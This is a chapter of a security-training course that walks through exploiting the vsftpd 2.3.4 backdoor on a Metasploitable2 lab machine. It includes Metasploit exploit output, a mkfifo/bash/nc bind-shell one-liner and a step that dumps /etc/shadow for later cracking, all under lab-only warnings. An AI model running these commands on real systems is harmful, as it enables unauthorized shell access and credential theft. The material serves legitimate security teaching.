Step 117. ★ Your First Shell: Taking Over MS2 with the vsftpd Backdoor — Your Life’s First Remote Command Execution

Level 2 — Introduction to Security and the Basics of Attack Skills | Difficulty ★★★★☆ | Estimated time: 3 hours

Prerequisites: you’ve finished configuring RHOSTS on the vsftpd_234_backdoor module in Step 116. You’ve read the principle of CVE-2011-2523 ("a shell opens on port 6200") in Step 115.

What you need: the lab — Kali (attacker) and Metasploitable2 (target, hereafter MS2). Two Linux/WSL terminals are enough for the nc principle exercises.
Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. This environment has no Kali, MS2, or Metasploit, so every msfconsole scene is a Screen example. On the other hand, the principle exercise — "connecting with nc to the port the backdoor opens" — was measured directly on WSL.

It’s finally here. Every chapter so far — port scanning, version detection, CVE reading, Metasploit assembly — existed for this one moment today. Obtaining a shell: the moment a command I typed executes on someone else’s computer across the network. The vsftpd 2.3.4 backdoor is the textbook for that first experience. As important as the thrill of success is being able to explain exactly by what principle that thrill happened.

1. Learning Objectives

By the end of this chapter, you will be able to:

Run exploit in Metasploit and obtain your first remote shell
After connecting to a shell, use reconnaissance commands that confirm "which computer am I on now?"
Explain the principle of a backdoor attack (trigger input → port opens → shell connection) in one paragraph
Reproduce the same principle by hand with nc, decomposing "what the tool did for you"
Know the meaning of shell acquisition and the procedure for evidence collection (screenshots, the shadow file)

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category	Details
Language/environment	Metasploit on Kali (Screen example) + nc on WSL/Linux (measured)
Today’s commands	`exploit` (msf), `whoami`/`hostname`/`id` inside the shell, `nc target port`, the fifo pipe technique
Concepts needed	RCE (remote code execution), backdoors, Step 77’s sockets, Step 116’s module configuration
Today’s artifact	An MS2 root shell screenshot + one paragraph on the attack principle + an nc reproduction record

2-1. Case Review — The Classic Supply Chain Attack

Let’s look at CVE-2011-2523 again. In late June 2011, vsftpd’s official distribution file was swapped wholesale. The code the attacker planted was simple — if an FTP login username contains the string :), it secretly opens port 6200 and attaches a root-privilege shell there.

The lesson of this incident is that what was attacked is not the program but the distribution path. Users merely installed "the genuine article downloaded from the official site." This class of attack, called a supply chain attack, is still active today.

2-2. RCE and Shells — The Name of What Will Happen Today

The precise name of what we do today is RCE (Remote Code Execution) — making code of my choosing execute on a computer across the network. And as the result of that execution, we obtain an "interactive command line," that is, a shell.

Obtaining a shell is not the destination of a penetration but a waypoint — a shell is "a foothold for doing more on that computer." But the first shell is different. It’s the moment when the chain you’ve known only in theory — "open port → vulnerable service → attack code" — completes before your eyes.

2-3. Decomposing What Metasploit Does for You

What the module we assembled in Step 116 does with one shot of exploit is actually three steps.

It connects to the target’s port 21 (FTP) and attempts a login with :) in the username — it pulls the backdoor’s trigger
The backdoor fires and a shell opens on the target’s port 6200
Metasploit connects to that port 6200 and links the shell session to our screen

An important fact: the third step, "connect to an open port and converse with a shell," can also be done with a tool we know — nc. The latter half of today’s Follow Along reproduces this by hand. Decompose magic and it becomes engineering.

3. Follow Along

3-1. Firing — exploit (Screen Example)

Issue the final command on the module you configured in Step 116 (in the lab — this environment has no Metasploit, so this is a Screen example).

Input (msfconsole on Kali)

exploit

Screen example:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.100:45678 -> 192.168.56.101:6200)

How to read it: line by line, the decomposition from 2-3 is right there. Banner check (port 21) → trigger login attempt (USER) → "Backdoor service has been spawned" (the backdoor fired) → uid=0(root) confirmed → session opened. Look closely at the last line — 192.168.56.101:6200. Kali (192.168.56.100) connected to the target’s port 6200. The tool did nc’s job for us.

Why: only when you can say "which step" each line of this output is does success become skill. Getting lucky and breaking through versus breaking through knowing the principle diverge at the next failure.

3-2. First Commands — Where Am I Now? (Screen Example)

If the cursor just blinks with no prompt, that’s success. Try typing commands.

Input

whoami
hostname
id

Screen example:

whoami
root
hostname
metasploitable
id
uid=0(root) gid=0(root) groups=0(root)

How to read it: root — the highest privilege on that computer. metasploitable — evidence that the place where commands are executing right now is not my Kali but the target MS2. The reason commands echo back (you see the input line again) and answers come is that this shell is a minimal pipe without a prompt.

Why: the reconnaissance trio right after obtaining a shell — "as whom (whoami), on which computer (hostname), with what privileges (id)" — is the first three commands of every penetration. Acting next without confirming your own position is the mark of a beginner.

3-3. Preparing the Principle Reproduction — Opening a Backdoor Port by Hand

Now we decompose the magic. On our WSL, which has neither MS2 nor vsftpd, let’s create by hand the same state as "a backdoor has attached a shell to port 6200."

First, one regrettable fact. The nc in today’s measurement environment (WSL Ubuntu 24.04) is the OpenBSD edition, which omits the -e option (attaching a program for the connector) for security reasons. Verified myself by the absence of -e in the option list of nc -h (measured 2026-09-09). So we create the same effect with a Unix pipe (fifo).

Input (terminal 1 — plays "the target with the backdoor fired")

cd /tmp
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f

How to read it: a single line of pipe engineering. mkfifo f creates a named pipe (a delivery channel that looks like a file). nc -l -p 6200 waits for a connection on port 6200; the bytes the connector sends flow through f into bash and get executed, and the output (2>&1 includes errors) returns to the connector through nc again. The result: "a shell for anyone who connects to 6200" — the same state the vsftpd backdoor creates.

Why: the surest way to understand an attack tool’s output is to reproduce it with your bare hands.

3-4. Reproducing the Principle — Connecting to the Shell with nc

Input (terminal 2 — plays the attacker)

nc 127.0.0.1 6200

It looks like there’s no response, but you’re connected — that’s because this is a shell without a prompt. Try typing commands.

Input (continuing in terminal 2)

whoami
hostname
cat /etc/os-release | head -1

Output (measured 2026-09-09):

root
XI3492
PRETTY_NAME="Ubuntu 24.04.4 LTS"

How to read it: exactly the same structure as the Metasploit Screen example — you issue a command and an answer comes. The answer root is because this shell inherited the privileges of the account that ran terminal 1 (the measurement environment is a WSL lab running as root). The hostname XI3492 is the name of this measurement machine — in your environment, your own computer’s name will appear. This is exactly why we checked hostname in 3-2.

Why: just now, without Metasploit, we reproduced the backdoor’s final step ("connect to an open port and execute commands"). The inside of that one exploit shot is no longer a black box.

3-5. Observation — The Lifespan of an Open Door

Typing exit in terminal 2 breaks the connection, and terminal 1’s command ends along with it. Check from a third terminal — after the guest has left, port 6200 is closed (measured 2026-09-09: ss -tlnp | grep 6200 returned empty).

How to read it: our makeshift backdoor serves a single guest. When the connection drops, the door vanishes with it. The real vsftpd backdoor fires repeatedly as long as the service lives, but the skeleton of the principle — "a trigger opens a port, and the attacker connects to that port" — is the same.

Why: read again through a defender’s eyes, this is a trace of compromise — "an unfamiliar port was open, then gone." The moment the ss/nmap you learned in Steps 34 and 81 become detection tools.

3-6. Wrapping Up the Lab — Evidence Collection and Cleanup (Screen Example)

If you obtained an MS2 shell in the lab, what comes next is recording (Screen example).

Input (inside the MS2 shell)

cat /etc/shadow

Save this output to a file on Kali — it becomes material in Step 123 (password cracking). Then take a screenshot of the shell screen, and summarize in one paragraph: "input (username containing :)) → backdoor fires → shell on port 6200 → root privileges obtained." When ending a shell, use exit, not Ctrl+C — Ctrl+C sometimes turns off not the program inside the shell but the session itself.

Why: a penetration test doesn’t end with breaking in; it ends with a reproducible record. The screenshot and the one-paragraph summary are the raw material of a report.

4. Missions & Exercises

Mission — Your First Shell and an Explanation of the Principle

If you have the lab: carry over Step 116’s configuration, run exploit, and capture the output of the three commands whoami/hostname/id.
If you don’t have the lab: substitute the WSL reproduction from 3-3~3-4 — open the fifo backdoor, connect with nc, and run the same three commands.
From the shell you obtained, check the last five lines of /etc/passwd (tail -5 /etc/passwd) and write "this computer’s user list" in your notes.
Summarize the attack principle in one paragraph — it must include the three words "trigger," "port 6200," and "nc (or session) connection."
After the exercise, close the door — cut the connection with exit, and confirm the port is closed with ss -tlnp | grep 6200.

Exercises

Exercise 1. Explain how the vsftpd 2.3.4 backdoor differs from an ordinary vulnerability (a bug) — why it’s called a "supply chain attack."

Exercise 2. In the last line of the Metasploit output, Command shell session 1 opened (192.168.56.100:45678 -> 192.168.56.101:6200), state what each of the two addresses and two ports is.

Exercise 3. In 3-4’s fifo pipe (cat f | bash 2>&1 | nc -l -p 6200 > f), what inconvenience arises if 2>&1 is missing?

Exercise 4. Explain why the reconnaissance trio (whoami/hostname/id) is typed first right after obtaining a shell, including the defender’s perspective.

5. Model Answers & Completion Criteria

Mission Model Answer

WSL reproduction basis (results from the 2026-09-09 measurement environment):

# Terminal 1 (plays the target)
cd /tmp && rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f

# Terminal 2 (plays the attacker)
nc 127.0.0.1 6200
whoami      → root (measured)
hostname    → XI3492 (measured — a different name in your environment)
id          → uid=0(root) gid=0(root) groups=0(root) (measured)
tail -5 /etc/passwd  → this machine's user list

A model sentence for the principle summary: "An FTP login with :) in the username acts as the trigger, firing the backdoor; a root shell opens on the target’s port 6200; and the attacker makes an nc connection to that port (with Metasploit, the session connects automatically) and executes commands."

How to verify: ① Are the answers to the commands you typed in the shell the target’s information (hostname, and so on), not "my computer’s"? ② Does the principle paragraph have the order trigger → port opens → connection? ③ Did you confirm port 6200 closed after the exercise — leaving it open and finishing is a bad habit even in a lab.

Exercise Answers

Answer 1. A bug is a developer’s mistake, but this backdoor was planted because the distribution file itself was swapped by an attacker. Users get infected merely by installing the genuine article. What was attacked is not the code but "the path the code arrives by (the supply chain)," and so the core of defense becomes not patching but "verifying the distribution’s integrity."

Answer 2. 192.168.56.100:45678 is the attacker (Kali) side — my address plus an ephemeral port the operating system arbitrarily assigns (review Step 77). 192.168.56.101:6200 is the target (MS2) side — the port the backdoor opened. A connection is always a pair of two endpoints: "who-to-whom."

Answer 3. 2>&1 is the device that merges standard error into standard output so it reaches the connector. Without it, error messages from failed commands (e.g., bash: lsit: command not found) don’t reach the connector’s screen and print only on terminal 1 — the attacker waits without even knowing the command failed.

Answer 4. Attacker’s perspective: if you don’t know which computer you’ve entered with what privileges, you can’t decide the next action (what to collect), and you prevent the accident of working on the wrong machine. Defender’s perspective: traces of this trio running in sequence in a compromise log are a typical pattern of "an attacker who just got a shell’s first actions," making them material for detection rules.

Completion Criteria Checklist

[ ] I can state the three steps of a backdoor attack (trigger → port opens → connection)
[ ] I can read which step each line of the exploit output is
[ ] I ran the reconnaissance trio (whoami/hostname/id) right after obtaining the shell
[ ] I reproduced "a shell attached to an open port" by hand with fifo+nc
[ ] I know our environment’s nc has no -e, and I can explain the workaround
[ ] I summarized the attack principle in one paragraph in my notes
[ ] I closed the shell and port and cleaned up after the exercise
[ ] Mission: I completed my first shell (or the WSL reproduction) and the principle paragraph

6. Common Pitfalls & Fixes

Wall 1. exploit fails (Screen Example)

Symptom (Screen example): [*] Exploit completed, but no session was created. — it ran, but no session opened.

Three possible causes: ① MS2 is off, ② RHOSTS is wrong, ③ the network doesn’t reach.
Fix: in the assignment guide’s order — check whether ping <MS2_IP> gets through, whether the RHOSTS in show options is MS2, and whether vsftpd is alive with nmap -p 21 <MS2_IP>. If port 21 is closed at the third step, reboot MS2.

Wall 2. I thought it froze because the shell screen has no prompt

Symptom: after Found shell., there’s no display at all — just a blinking cursor.

Cause: this shell is a minimal pipe without a prompt. Commands are executing normally.
Fix: just type whoami. If an answer comes, it’s alive. As in 3-2’s output, your input echoes and the answer comes.

Wall 3. I tried to quit with Ctrl+C and the session died

Symptom: trying to copy inside the shell (or out of habit), you pressed Ctrl+C and the whole session dropped.

Cause: in this interactive shell, Ctrl+C sometimes acts not as "abort the running command" but as "abort the session."
Fix: to end a shell, type exit. That’s exactly the assignment guide’s warning. If the session died, just run exploit again to open a new one.

Wall 4. nc -e doesn’t work (measured)

Symptom (measured 2026-09-09): on Ubuntu/WSL, nc -l -p 6200 -e /bin/bash gives an option error. There’s no -e in the option list of nc -h.

Cause: Ubuntu’s nc is the OpenBSD edition, with -e removed to prevent abuse. The -e examples in textbooks are based on the traditional edition (like the nc inside MS2).
Fix: use 3-3’s fifo technique (mkfifo f; cat f | bash 2>&1 | nc -l -p port > f) to create the same effect. This is the point where you feel that "direction and principle matter, not the spelling of an option."

Wall 5. The port stays open after the reproduction exercise

Symptom: the exercise is over, but ss -tlnp | grep 6200 still shows a LISTEN.

Cause: you closed terminal 1 with no connection, or only one process in the pipeline died.
Fix: find the remaining process (the PID from ss -tlnp), clean it up, and delete the fifo file (f) in /tmp too. The exercise isn’t over until "you’ve confirmed the door is closed."

7. Summary

Today’s Concepts

Concept	One-line explanation
RCE	Remote code execution — making my commands execute across the network
Backdoor	A back door secretly left open, bypassing normal authentication (this case: port 6200)
Supply chain attack	An attack that contaminates not the code but the distribution path — the vsftpd 2.3.4 incident
Trigger	The input that fires a backdoor (this case: a username containing `:)`)
Shell acquisition	Obtaining an interactive command line on the other computer — the foothold of penetration
Reconnaissance trio	whoami / hostname / id — confirming "as whom, where" right after a shell

Today’s Commands

Command	What it does
`exploit` (msf)	Fire the configured module — session opens automatically
`whoami` / `hostname` / `id` (in the shell)	Position and privilege reconnaissance right after a shell
`nc target port`	Connect by hand to an open shell port — the same job as Metasploit’s final step
`mkfifo f; cat f \| bash 2>&1 \| nc -l -p port > f`	Reproducing shell attachment on OpenBSD nc (no -e)
`ss -tlnp \| grep 6200`	Checking the backdoor port’s open/closed state — the eyes of both attack and detection
`exit` (in the shell)	The correct way to end a session (Ctrl+C can kill the session)

An Instinct More Important Than Commands

Today you executed commands on a computer across the network. And more importantly, you decomposed that magic into three pieces — pull the trigger, the port opens, connect to that port. The moment you confirmed by hand that the final piece is a single line of nc, Metasploit stopped being sorcery and became a tool.

Let me add to the saying that this thrill is the entrance to this world. The root shell you just obtained is study in a permitted lab, but on a system without permission, it is a completed crime as-is. Same fingers, same commands, different worlds — the boundary is not technique but permission. And one more thing: today’s shell took the shape of "the target opened a door and we walked in." Real-world targets mostly hide behind firewalls and NAT, never showing us that door. What’s needed then is the technique that reverses the connection direction: the reverse shell (Step 118).

Once every box is checked, Step 117 is complete. Click the checkbox in the sidebar to save your progress.